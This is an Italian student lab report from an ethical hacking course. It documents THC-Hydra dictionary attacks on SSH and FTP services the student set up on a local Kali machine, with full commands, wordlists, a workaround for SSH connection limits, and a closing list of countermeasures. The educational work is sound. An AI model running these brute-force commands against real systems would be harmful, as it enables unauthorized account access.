



REPORT

AUTENTICATION CRACKING

THC-HYDRA v9.6

SSH · FTP

KALI LINUX

Attacco Brute Force con Hydra & Configurazione Servizi

Studente: Alessandro Porfirio

Corso: Cyber Security & Ethical Hacking

Data: 15/05/2026

Target IP: 192.168.1.37

Protocolli: SSH (22/TCP) · FTP (21/TCP)



Indice dei Contenuti

1. Obiettivi dell'Esercitazione	3
1.1 Il tool: THC-Hydra	3
2. Fase 1: Configurazione e Cracking SSH	4
2.1 Avvio del servizio SSH	4
2.2 Creazione dell'utente di test	4
3. Gestione delle Wordlist e Troubleshooting	5
3.1 Primo tentativo – Fallimento e analisi errore	5
3.2 Intervento manuale sulle wordlist	6
3.3 Secondo tentativo – Lista username completa	6
3.4 Terzo tentativo – Username fisso, successo SSH	7
4. Fase 2: Configurazione e Cracking FTP	8
4.1 Installazione e avvio di vsftpd	8
4.2 Esecuzione di Hydra su FTP	8
4.3 Risultato e analisi dell'attacco FTP	9
5. Conclusioni Tecniche	10
5.1 Confronto SSH vs FTP	10
5.2 Lezioni apprese e contromisure	10
5.3 Riflessioni finali	11

1. Obiettivi dell'Esercitazione

L'obiettivo principale di questa attività è stato quello di consolidare le mie competenze pratiche nell'utilizzo di **Hydra**, uno dei tool di login-cracking più conosciuti.

L'esercizio si è focalizzato sulla duplice natura del security specialist: da un lato la **configurazione sicura dei servizi** (SSH, FTP) e dall'altro la **verifica della loro robustezza** tramite attacchi di tipo dictionary-based.

Il laboratorio si è sviluppato in due fasi distinte: nella prima, attivato il servizio **SSH** e ho condotto una sessione di cracking guidata; nella seconda ho scelto autonomamente di testare il protocollo **FTP**, installando e configurando **vsftpd** da zero. In entrambi i casi ho dovuto affrontare problemi reali e trovare soluzioni autonomamente, il che ha reso l'esperienza particolarmente formativa.

1.1 Il Tool: Hydra

Hydra è un login cracker che supporta numerosi protocolli di rete: SSH, FTP, HTTP, HTTPS, Telnet e molti altri. La sua forza risiede nella capacità di testare migliaia di combinazioni credenziali al secondo, distribuendo il carico su più thread (sotto-processi) paralleli. Nel laboratorio ho usato la versione **9.6** su Kali Linux.

Versione	THC-Hydra 9.6 (c) 2023 van Hauser/THC & David Maciejak
OS	Kali Linux Rolling 2026.1.5 – ARM64
Target IP	192.168.1.37
Servizi testati	SSH porta 22/TCP · FTP porta 21/TCP
Wordlist user	top-usernames-shortlist.txt (18 → 19 voci)
Wordlist pass	top-20-common-SSH-passwords.txt (23 voci)
Credenziali OK	test_user : testpass

2. Fase 1: Configurazione e Cracking SSH

Per prima cosa ho dovuto preparare l'ambiente di attacco. Come si può vedere dall'output del terminale qui sotto, ho avviato il servizio SSH sul sistema target usando il comando **service** con i privilegi di amministratore:

2.1 Avvio del Servizio SSH

```
(kali@kali)-[~]  
└─$ sudo service ssh start
```

Figura 1 – Abilitazione del servizio SSH tramite service.

Come si evince dalla Fig.1, il servizio SSH è ormai attivo sulla porta 22, il server era quindi pronto ad accettare connessioni dall'esterno. Il demone **OpenSSH** di Kali utilizza per default una configurazione che, come scoprirò poco dopo, applica anche un meccanismo di limitazione sulle connessioni parallele (MaxStartups, che ho dovuto modificare e aggiungere). Questa configurazione avrà un ruolo decisivo nel primo tentativo di cracking.

2.2 Creazione dell'Utente di Test

Prima di lanciare Hydra ho creato un account utente dedicato con credenziali deliberatamente deboli esattamente come quelle che un amministratore inesperto potrebbe configurare su un server reale. Ho usato **adduser** per creare l'account **test_user**:

```
(kali@kali)-[~]  
└─$ sudo adduser test_user  
New password:  
Retype new password:  
passwd: password updated successfully  
Changing the user information for test_user  
Enter the new value, or press ENTER for the default  
  Full Name []:  
  Room Number []:  
  Work Phone []:  
  Home Phone []:  
  Other []:  
Is the information correct? [Y/n] y
```

Figura 2 – Creazione dell'utente target 'test_user' con password 'testpass'.

3. Gestione delle Wordlist e Troubleshooting

Ho avviato il primo tentativo di cracking utilizzando Hydra, puntando direttamente all'indirizzo IP del target con entrambe le liste di credenziali e 16 thread paralleli. Quello che è successo subito dopo mi ha insegnato molto sul comportamento reale dei servizi di rete sotto attacco.

3.1 Primo Tentativo – Fallimento e Analisi dell'Errore

Ho usato l'opzione **-L** (lista di username) e **-P** (lista di password), specificando il protocollo **ssh** e 16 thread (**-t 16**) con stop al primo match (**-f**) e il comando (**-V**) -V sta per verbose e fa sì che Hydra ti mostri in tempo reale ogni singolo tentativo che sta eseguendo, con la riga [ATTEMPT] per ogni combinazione username/password provata.

```
[ ERROR ] all children were disabled due too many connection errors
0 of 1 target completed, 0 valid password found
[ INFO ] Writing restore file because 2 server scans could not be completed
[ ERROR ] 1 target was disabled because of too many errors
[ ERROR ] 1 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-15 08:53:10
```

Figura 3 – Fallimento del cracking iniziale: troppi errori di connessione.

"In un contesto reale, la qualità della wordlist è tutto. Se la password non è nel dizionario, l'attacco fallirà a prescindere dalla potenza del tool. Ma anche la tecnica conta: il modo in cui si attacca determina se si riesce a portare a termine il tentativo."

Analizzando attentamente l'output, ho capito la causa reale del problema: il messaggio 'all children were disabled due too many connection errors' non indica che le credenziali siano assenti, ma che **OpenSSH ha bloccato tutte le connessioni parallele**. Il parametro MaxStartups nel file sshd_config limita di default le connessioni simultanee non autenticate: con 16 thread attivi, il server ha interpretato il traffico come un flood e ha respinto tutti i tentativi.

3.2 Intervento Manuale sulle Wordlist

Mentre analizzavo l'errore, ho anche verificato il contenuto delle wordlist con un editor di testo. Aprendo i file delle password ho potuto constatare che **testpass** non era presente in nessuna di queste o che comunque Kali non riusciva a trovarle, lo stesso per la lista degli username, ho notato che **test_user** non era incluso — la lista conteneva solo 18 voci standard (root, admin, test, guest, info, adm, mysql, user, administrator, oracle, ftp, pi, puppet, ansible, ec2-user, vagrant, azureuser). Ho quindi aggiunto manualmente entrambe all'interno dei file:

```
root
admin
test
guest
info
adm
mysql
user
administrator
oracle
ftp
pi
puppet
ansible
ec2-user
vagrant
azureuser
test_user
```

Figura 4 – Wordlist username con test_user aggiunto manualmente in fondo.

```
GNU nano 8.7.1 top-20-common-SSH-passwords.txt
root
toor
raspberry
dietpi
test
testpass
uploader
password
admin
administrator
marketing
12345678
1234
12345
qwerty
webadmin
webmaster
maintenance
techsupport
letmein
logon
Passw@rd
alpine
```

Figura 5 – Wordlist password aperta in nano: aggiunta di testpass

Questo passaggio è stato molto istruttivo: ho capito nel concreto come Hydra processa i file di testo riga per riga, e quanto sia fondamentale che le credenziali target siano effettivamente presenti nel dizionario. **In un pentest reale** si userebbero wordlist molto più estese (ad es. rockyou.txt con 14 milioni di voci), che tra l'altro ho provato ad utilizzare ma troppo grande è impossibile da analizzare a quanto pare per Hydra.

3.3 Secondo Tentativo – Lista Username Completa

Con la wordlist aggiornata ho rilanciato la stessa combinazione con entrambe le liste. Anche questa volta, però, l'alto numero di thread ha generato gli stessi errori di connessione. OpenSSH continuava a bloccare le richieste parallele, indipendentemente dalla presenza delle credenziali corrette nella lista. Questo mi ha confermato che il problema era strutturale: dovevo cambiare strategia, non soltanto la wordlist.

3.4 Terzo Tentativo – Username Fisso, Password da Dizionario

Ho modificato il comando usando **-l** (lettera minuscola = username singolo e statico) invece di **-L** (lista). In questo modo Hydra ha eseguito solo 23 tentativi totali (1 username × 23 password), riducendo drasticamente il carico parallelo sul server SSH, come si evince dalla Fig.6 che segue:

```
(kali@kali)-[~]
└─$ hydra -l test_user -P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt 192.168.1.37 ssh -t 16
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-15 09:09:17
[ WARNING ] Many SSH configurations limit parallel tasks, recommended: use -t 4
[ DATA ] max 16 tasks per 1 server, overall 16 tasks, 23 login tries (1:1/p:23), ~2 tries per task
[ DATA ] attacking ssh://192.168.1.37:22/
[22][ssh] host: 192.168.1.37  login: test_user  password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-15 09:09:22
```

Figura 6 – Cracking SSH riuscito: credenziali trovate in circa 5 secondi.

✓ **SSH COMPROMESSO — test_user : testpass — Tempo: ~5 secondi**

Il risultato è stato immediato. Con un username noto e una wordlist di 23 password, Hydra ha trovato la corrispondenza in pochissimi secondi. Questo scenario simulava perfettamente una situazione reale in cui l'attaccante ha già ricavato il nome utente tramite tecniche di OSINT o enumerazione e deve solo craccare la password.

4. Fase 2: Configurazione e Cracking FTP

Nella seconda fase, a differenza dell' SSH (già presente su Kali), ho scelto di configurare il servizio FTP da zero. Ho installato e avviato **vsftpd** seguendo le slide per poi partire con il cracking.

4.1 Installazione e Avvio di vsftpd

```
(kali@kali)-[~]
└─$ sudo apt install vsftpd
Installing:
  vsftpd

Summary:
  Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 713
  Download size: 135 kB
  Space needed: 389 kB / 27.2 GB available

Get:1 http://kali.download/kali kali-rolling/main arm64 vsftpd arm64 3.0.5-0.5 [135 kB]
Fetched 135 kB in 0s (277 kB/s)
Preconfiguring packages ...
Setting up vsftpd (3.0.5-0.5)...
/usr/lib/tmpfiles.d/vsftpd.conf:1: Line references path below legacy directory /var/run/
update-rc.d: It looks like a network service, we disable it.
vsftpd.service is a disabled or a static unit, not starting it.
Processing triggers for man-db (2.13.1-1+b1)...
Processing triggers for kali-menu (2026.1.5)...
(kali@kali)-[~]
└─$ service vsftpd start
```

Figura 7 – Installazione di vsftpd tramite apt e avvio manuale del servizio.

Notare come apt stesso avverta che il servizio viene disabilitato di default ('It looks like a network service, we disable it'): questo è un comportamento di sicurezza di Kali per evitare che servizi di rete vengano esposti involontariamente. Ho quindi dovuto avviarlo manualmente con **service vsftpd start**.

Un aspetto importante: vsftpd nella configurazione di default autentica gli utenti tramite gli account locali del sistema operativo. Questo significa che l'utente **test_user** creato nella Fase 1 era automaticamente un utente FTP valido, senza alcuna configurazione aggiuntiva.

4.2 Esecuzione di Hydra su FTP

Con il server FTP attivo sulla porta 21, ho rilanciato Hydra. Questa volta ho usato nuovamente le liste complete (sia username che password), con 16 thread e le opzioni **-f** (stop al primo match) e **-V** (verbose completo di ogni tentativo):

```
(kali@kali)-[~]
└─$ hydra -L /usr/share/seclists/Username/top-username-shortlist.txt -P /usr/share/seclists/Passwords/Common-Credentials/top-20-c
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak

Hydra starting at 2026-05-15 08:00:26
[ DATA ] max 16 tasks per 1 server, overall 16 tasks, 414 login tries (1:18/p:23), ~26 tries per task
[ DATA ] attacking ftp://192.168.1.37:21/
[ATTEMPT] target 192.168.1.37 - login "root" - pass "root" - 1 of 414 [child 0] (0/0)
[ATTEMPT] target 192.168.1.37 - login "root" - pass "toor" - 2 of 414 [child 1] (0/0)
[ATTEMPT] target 192.168.1.37 - login "root" - pass "raspberr" - 3 of 414 [child 2] (0/0)
[ATTEMPT] target 192.168.1.37 - login "root" - pass "dietpi" - 4 of 414 [child 3] (0/0)
[ATTEMPT] target 192.168.1.37 - login "root" - pass "test" - 5 of 414 [child 4] (0/0)
[ATTEMPT] target 192.168.1.37 - login "root" - pass "testpass" - 6 of 414 [child 5] (0/0)
[ATTEMPT] target 192.168.1.37 - login "root" - pass "uploader" - 7 of 414 [child 6] (0/0)
[ATTEMPT] target 192.168.1.37 - login "root" - pass "password" - 8 of 414 [child 7] (0/0)
```

Figura 8 – Hydra in azione su FTP: verbose completo di ogni tentativo.

```
[21][ftp] host: 192.168.1.37 login: test_user password: testpass
[ STATUS ] attack finished for 192.168.1.37 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-15 08:01:48
```

Figura 9 – Risultato finale: credenziali FTP acquisite con successo.

✓ **FTP COMPROMESSO — test_user : testpass — Tempo: ~82 secondi**

4.3 Risultato e Analisi dell'Attacco FTP

A differenza di SSH, il server FTP non ha opposto alcuna resistenza ai 16 thread paralleli. vsftpd nella configurazione di default non implementa meccanismi di rate-limiting o blocco IP, il che ha permesso a Hydra di iterare tutte le 414 combinazioni (18 username × 23 password) senza interruzioni.

L'output verbose ha mostrato in tempo reale ogni singolo tentativo, rendendolo un ottimo esercizio visivo per capire **come funziona un attacco dictionary-based**: Hydra non fa altro che automatizzare ciò che un attaccante potrebbe fare manualmente — solo migliaia di volte più velocemente.

Tentativi totali	414 (18 username × 23 password)
Thread usati	16 paralleli
Tempo impiegato	~82 secondi (08:00:26 → 08:01:48)
Protezioni FTP	Nessuna (vsftpd default, no rate-limiting)
Crittografia	Nessuna — FTP trasmette in chiaro (plaintext)
Confronto con SSH	SSH: ~5 sec con username noto · FTP: ~82 sec con liste complete

5. Conclusioni Tecniche

Questa esercitazione ha evidenziato in modo pratico e diretto come strumenti come **Hydra** siano fondamentali nel contesto del **Vulnerability Assessment** e del penetration testing. Tuttavia, la lezione più importante non riguarda il tool in sé, ma quello che il suo utilizzo rivela: l'utilizzo di credenziali semplici o 'di default' rende qualsiasi servizio di rete vulnerabile in pochi secondi.

5.1 Confronto SSH vs FTP

Aspetto	SSH	FTP
Crittografia	Sì (OpenSSH/AES)	No — plaintext
Rate-limiting nativo	Sì (MaxStartups)	No (vsftpd default)
Tempo cracking	~5 sec (username noto)	~82 sec (liste complete)
Tentativi eseguiti	23 (1 user × 23 pass)	414 (18 user × 23 pass)
Sniffing credenziali	Impossibile (cifrato)	Possibile (Wireshark)
Rimedio principale	Chiave pubblica + Fail2Ban	Migrare a SFTP/FTPS

5.2 Lezioni Apprese e Contromisure

Dal punto di vista della difesa, questa esercitazione ha reso evidente che la sicurezza non può basarsi su una singola linea di difesa. Le contromisure che un amministratore dovrebbe implementare sono diverse:

- **Policy di password robuste:** imporre lunghezza minima di 12 caratteri, mix di maiuscole, minuscole, numeri e simboli, e vietare password presenti in wordlist note.
- **Riduzione della superficie di attacco:** esporre sulla rete solo i servizi strettamente necessari. Ogni servizio aperto è un potenziale vettore d'attacco.
- **Monitoraggio continuo:** integrare strumenti per rilevare possibili attacchi di brute-force nei log in tempo reale e attivare alert automatici.

5.3 Riflessioni Finali

Guardando all'intera sessione di laboratorio, quello che mi ha colpito di più è il divario enorme tra la semplicità dell'attacco e la gravità delle sue conseguenze. Con uno strumento open-source come Hydra, due file di testo e una connessione di rete, ho compromesso due servizi, riuscendo a scoprire dati sensibili come quelli delle credenziali.

Ho imparato che un attaccante reale non si ferma al primo errore: l'analisi dell'output di Hydra — in particolare il messaggio 'too many connection errors' — mi ha guidato verso una strategia alternativa che ha comunque portato al risultato. Questa capacità di adattamento è ciò che distingue un penetration tester da un semplice esecutore di script.

In definitiva, questo laboratorio ha rafforzato tre principi fondamentali che porterò con me nel percorso di formazione in cybersecurity: **conoscere gli strumenti offensivi** è necessario per costruire difese solide; la **configurazione è parte integrante della sicurezza**, non un'attività separata; e il **monitoraggio continuo** è l'unico modo per rilevare un attacco in corso prima che causi danni irreparabili.